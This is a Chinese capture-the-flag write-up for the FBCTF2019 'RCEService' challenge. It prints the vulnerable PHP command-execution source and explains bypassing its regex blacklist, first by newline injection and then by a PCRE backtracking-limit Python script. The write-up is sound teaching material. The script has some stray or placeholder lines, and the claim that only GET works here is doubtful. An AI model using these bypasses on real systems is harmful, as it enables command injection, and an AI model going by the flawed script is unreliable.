[FBCTF2019]RCEService-PRCE

[FBCTF2019]RCEService-PRCE

首先呢,这个题目,是有源代码的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>

这是源代码,过滤的东西多,但是这个匹配不是多行匹配,也就是说可以换行绕过:

1

所以说,绕过很简单了,但是PATH=/home/rceservice/jail 限制我们命令执行的环境,所以使得很多的命令,我们不使用绝对路径是无法执行的,这里我们绝对路径的获取是根据经验,也就是所有机器的命令的默认路径,rev在/usr/bin/rev,cat在/bin/cat,find在/usr/bin/find,我们先利用不能换行匹配的性质,用find命令搜寻flag

3

在此之后,我们可以直接读取flag

2

这是法一,还有法二,利用正则贪婪匹配的回溯机制,因为回溯有次数限制的原因,从而绕过,脚本在pycharm里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from xml.sax import parse
import requests

#回溯用于post请求,get请求会导致414错误
url = "http://localhost/2.php" #可以更换

huisu = "a" * 1000001
payload = '{"cmd":"ipconfig","zz":"' + "a"*(1000000) + '"}'

#这个payload 由三部分构成
#1. {"cmd":"ipconfig","zz":"
#2. "a"*(1000000)
#3. '"}'
#所以中间是代码

headers = {
"User-Agent": "Mozilla/5.0",
"Authorization": "Bearer your_token"
}

response = requests.post(url, data={"cmd":payload}, headers=headers)
print(response.text)


但是这道题目呢,并不能使用这个贪婪匹配的回溯机制,原因就是get请求并不支持一次性输入如此多的文本,导致回溯失败

具体参考:PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌